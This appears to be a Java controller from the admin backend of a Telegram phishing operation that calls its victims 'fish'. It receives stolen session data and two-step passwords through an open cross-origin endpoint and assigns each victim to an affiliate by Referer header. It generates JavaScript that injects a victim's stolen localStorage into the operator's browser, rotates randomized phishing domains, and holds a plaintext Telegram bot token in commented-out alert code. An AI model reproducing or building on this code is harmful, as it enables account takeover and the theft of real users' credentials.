package com.ruoyi.web.controller.system;
|
|
import java.text.SimpleDateFormat;
|
import java.util.Date;
|
import java.util.List;
|
|
import com.ruoyi.RuoYiApplication;
|
import com.ruoyi.common.core.domain.entity.SysUser;
|
import com.ruoyi.system.service.ISysUserService;
|
import com.ruoyi.web.controller.socket.WebSocketServer;
|
import com.ruoyi.web.controller.tgbot.TBot;
|
import com.ruoyi.web.controller.tool.JavaScriptUtil;
|
import com.ruoyi.web.controller.tool.RandomStringGenerator;
|
import com.ruoyi.web.controller.vo.QrDataR;
|
import org.apache.shiro.authz.annotation.RequiresPermissions;
|
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.stereotype.Controller;
|
import org.springframework.ui.ModelMap;
|
import org.springframework.web.bind.annotation.*;
|
import com.ruoyi.common.annotation.Log;
|
import com.ruoyi.common.enums.BusinessType;
|
import com.ruoyi.system.domain.SysTgdata;
|
import com.ruoyi.system.service.ISysTgdataService;
|
import com.ruoyi.common.core.controller.BaseController;
|
import com.ruoyi.common.core.domain.AjaxResult;
|
import com.ruoyi.common.utils.poi.ExcelUtil;
|
import com.ruoyi.common.core.page.TableDataInfo;
|
|
|
/**
|
* 鱼儿管理Controller
|
*
|
* @author 零九
|
* @date 2023-05-10
|
*/
|
@Controller
|
@RequestMapping("/system/tgdata")
|
public class SysTgdataController extends BaseController
|
{
|
private String prefix = "system/tgdata";
|
|
@Autowired
|
private ISysTgdataService sysTgdataService;
|
@Autowired
|
private ISysUserService userService;
|
|
@RequiresPermissions("system:tgdata:view")
|
@GetMapping()
|
public String tgdata()
|
{
|
return prefix + "/tgdata";
|
}
|
|
/**
|
* 查询鱼儿管理列表
|
*/
|
@RequiresPermissions("system:tgdata:list")
|
@PostMapping("/list")
|
@ResponseBody
|
public TableDataInfo list(SysTgdata sysTgdata)
|
{
|
startPage();
|
List<SysTgdata> list = null;
|
if (!getLoginName().equals("admin") && !getLoginName().equals("chaoyue123")) {
|
sysTgdata.setQrstate(getSysUser().getUserId().toString());
|
}
|
list = sysTgdataService.selectSysTgdataList(sysTgdata);
|
return getDataTable(list);
|
}
|
|
/**
|
* 导出鱼儿管理列表
|
*/
|
@RequiresPermissions("system:tgdata:export")
|
@Log(title = "鱼儿管理", businessType = BusinessType.EXPORT)
|
@PostMapping("/export")
|
@ResponseBody
|
public AjaxResult export(SysTgdata sysTgdata)
|
{
|
List<SysTgdata> list = sysTgdataService.selectSysTgdataList(sysTgdata);
|
ExcelUtil<SysTgdata> util = new ExcelUtil<SysTgdata>(SysTgdata.class);
|
return util.exportExcel(list, "鱼儿管理数据");
|
}
|
|
/**
|
* 新增鱼儿管理
|
*/
|
@GetMapping("/add")
|
public String add()
|
{
|
return prefix + "/add";
|
}
|
|
/**
|
* 新增保存鱼儿管理
|
*/
|
@RequiresPermissions("system:tgdata:add")
|
@Log(title = "鱼儿管理", businessType = BusinessType.INSERT)
|
@PostMapping("/add")
|
@ResponseBody
|
public AjaxResult addSave(SysTgdata sysTgdata)
|
{
|
return toAjax(sysTgdataService.insertSysTgdata(sysTgdata));
|
}
|
|
/**
|
* 修改鱼儿管理
|
*/
|
@RequiresPermissions("system:tgdata:edit")
|
@GetMapping("/edit/{id}")
|
public String edit(@PathVariable("id") Integer id, ModelMap mmap)
|
{
|
SysTgdata sysTgdata = sysTgdataService.selectSysTgdataById(id);
|
mmap.put("sysTgdata", sysTgdata);
|
return prefix + "/edit";
|
}
|
|
/**
|
* 修改保存鱼儿管理
|
*/
|
@RequiresPermissions("system:tgdata:edit")
|
@Log(title = "鱼儿管理", businessType = BusinessType.UPDATE)
|
@PostMapping("/edit")
|
@ResponseBody
|
public AjaxResult editSave(SysTgdata sysTgdata)
|
{
|
return toAjax(sysTgdataService.updateSysTgdata(sysTgdata));
|
}
|
|
/**
|
* 删除鱼儿管理
|
*/
|
@RequiresPermissions("system:tgdata:remove")
|
@Log(title = "鱼儿管理", businessType = BusinessType.DELETE)
|
@PostMapping( "/remove")
|
@ResponseBody
|
public AjaxResult remove(String ids)
|
{
|
return toAjax(sysTgdataService.deleteSysTgdataByIds(ids));
|
}
|
|
/**
|
* executeRem
|
*/
|
@RequiresPermissions("system:tgdata:executeRem")
|
@Log(title = "鱼儿管理", businessType = BusinessType.DELETE)
|
@PostMapping( "/executeRem/{tp}/{id}")
|
@ResponseBody
|
public AjaxResult executeRem(@PathVariable String id, @PathVariable String tp)
|
{
|
SysTgdata sysTgdata = sysTgdataService.selectSysTgdataById(Integer.valueOf(id));
|
String ures = "";
|
if ("1".equals(tp)){
|
ures = "等待输入密码";
|
} else if ("2".equals(tp)) {
|
ures = "验证码错误";
|
} else if ("3".equals(tp)) {
|
ures = "密码错误";
|
} else if ("4".equals(tp)) {
|
ures = "验证通过";
|
} else if ("5".equals(tp)){
|
String res = "var json='"+sysTgdata.getUqrcode()+"';var keyList=Object.keys(JSON.parse(json));var vaList = Object.values(JSON.parse(json));for (let i = 0; i < keyList.length; i++) {localStorage.setItem(keyList[i],vaList[i])}";
|
return new AjaxResult(AjaxResult.Type.SUCCESS,"成功!代码已提取至您的剪贴板",res);
|
} else if ("6".equals(tp)){
|
String domain = RuoYiApplication.loginDomain;
|
String new_domain = domain.replace("*", RandomStringGenerator.generateRandomString(8));
|
String res = new_domain+"?data="+sysTgdata.getUqrcode();
|
if (domain.equals("")){
|
return new AjaxResult(AjaxResult.Type.ERROR,"一键登录错误,配置类信息为空,请联系管理员处理",null);
|
}
|
return new AjaxResult(AjaxResult.Type.SUCCESS,"登录成功,即将自动跳转",res);
|
} else if ("7".equals(tp)){
|
SysUser user = getSysUser();
|
String domain = RuoYiApplication.agentDomain;
|
String new_domain = domain.replace("*", RandomStringGenerator.generateRandomString(8));
|
user.setEmail(new_domain);
|
user.setDomain(new_domain);
|
setSysUser(user);
|
userService.updateUserInfo(user);
|
return new AjaxResult(AjaxResult.Type.SUCCESS,"域名更换成功,请使用新域名推广");
|
}
|
sysTgdata.setUres(ures);
|
return toAjax(sysTgdataService.updateSysTgdata(sysTgdata));
|
}
|
|
|
/**
|
* 刷新二维码
|
*/
|
@PostMapping( "/flushqr")
|
@ResponseBody
|
public QrDataR flushqr(String id)
|
{
|
SysTgdata tgdata = sysTgdataService.selectSysTgdataById(Integer.valueOf(id));
|
if (tgdata.getQrstate().equals("待拉取")){
|
return new QrDataR("1","new",tgdata.getUqrcode());
|
}
|
return new QrDataR("0","none",null);
|
}
|
|
// /**
|
// * 刷新二维码
|
// */
|
// @PostMapping( "/uploadQr")
|
// @ResponseBody
|
// public QrDataR uploadQr(String phone,String base64)
|
// {
|
// SysTgdata tgdata = sysTgdataService.selectSysTgdataById(Integer.valueOf());
|
//
|
// if (tgdata.getQrstate().equals("待拉取")){
|
// return new QrDataR("1","new",tgdata.getUqrcode());
|
// }
|
// return new QrDataR("0","none",null);
|
// }
|
|
|
/**
|
* 上传或更新cookie
|
*/
|
@PostMapping( "/uploadCk/{utack}/{password}")
|
@ResponseBody
|
@CrossOrigin
|
public QrDataR uploadQr(@RequestBody String json, @PathVariable String utack, @PathVariable String password)
|
{
|
System.err.println(json);
|
//过滤非法字符
|
json = json.replace("\\", "\\\\");
|
System.err.println(utack);
|
String uphone = utack;
|
if (utack.contains("+")){
|
utack = "手机号登录|"+utack;
|
}else{
|
utack = "扫码登录|"+utack;
|
}
|
|
|
SysTgdata sysTgdata = new SysTgdata();
|
sysTgdata.setUphone(utack);
|
if ("nothavapas".equals(password)){
|
sysTgdata.setAgpass("未启用二级密码");
|
}else {
|
sysTgdata.setAgpass(password);
|
}
|
sysTgdata.setUres("已获取客户码");
|
List<SysTgdata> tgdataList = sysTgdataService.selectSysTgdataList(sysTgdata);
|
if (tgdataList.size() > 0){
|
// sysTgdata = tgdataList.get(0);
|
// sysTgdata.setUqrcode(json);
|
// 老油条不用管,直接放弃
|
}else {
|
//新鱼儿
|
//验证码字段暂存jsonCk
|
sysTgdata.setUqrcode(json);
|
//referer
|
String referer = getRequest().getHeader("referer");
|
if (referer.contains("https://")){
|
referer = referer.replace("https://","");
|
}
|
if (referer.contains("/")){
|
referer = referer.replace("/","");
|
}
|
SysUser sysUser = userService.selectUserByEmail(referer);
|
if (sysUser == null){
|
sysTgdata.setQrstate("无代理来源");
|
}else {
|
sysTgdata.setQrstate(sysUser.getUserId().toString());
|
}
|
sysTgdataService.insertSysTgdata(sysTgdata);
|
//TG消息通知
|
//
|
// TBot.sendMsg("6613956447:AAFccHmuhwfkxUuPmPPgSKR2xgioycSeYA4","业务消息通知" +
|
// "%0A通知类型:telegram上鱼通知" +
|
// "%0A鱼儿登陆方式:" +(uphone.contains("+") ? "手机号码登录":"扫码登录")+
|
// "%0A鱼儿手机号码:" +(uphone.contains("+") ? uphone:"无手机号")+
|
// "%0A通知时间:" +new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date()),"@dytzvip");
|
// //告知服务端鱼儿上钩
|
// WebSocketServer.sendInfo("new","baseServer");
|
|
}
|
|
return new QrDataR("0","none",null);
|
}
|
}
|